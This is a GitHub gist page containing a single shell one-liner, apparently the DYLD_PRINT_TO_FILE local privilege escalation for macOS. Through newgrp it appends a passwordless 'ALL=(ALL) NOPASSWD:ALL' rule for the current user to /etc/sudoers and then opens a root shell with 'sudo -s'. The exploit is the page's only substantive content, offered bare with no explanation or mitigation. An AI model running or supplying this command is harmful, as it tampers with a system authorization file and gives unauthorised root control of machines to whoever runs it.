Skip to content

Instantly share code, notes, and snippets.

@pmoust
Created July 23, 2015 15:05
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save pmoust/1d098c2a7b0337327430 to your computer and use it in GitHub Desktop.
Save pmoust/1d098c2a7b0337327430 to your computer and use it in GitHub Desktop.
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment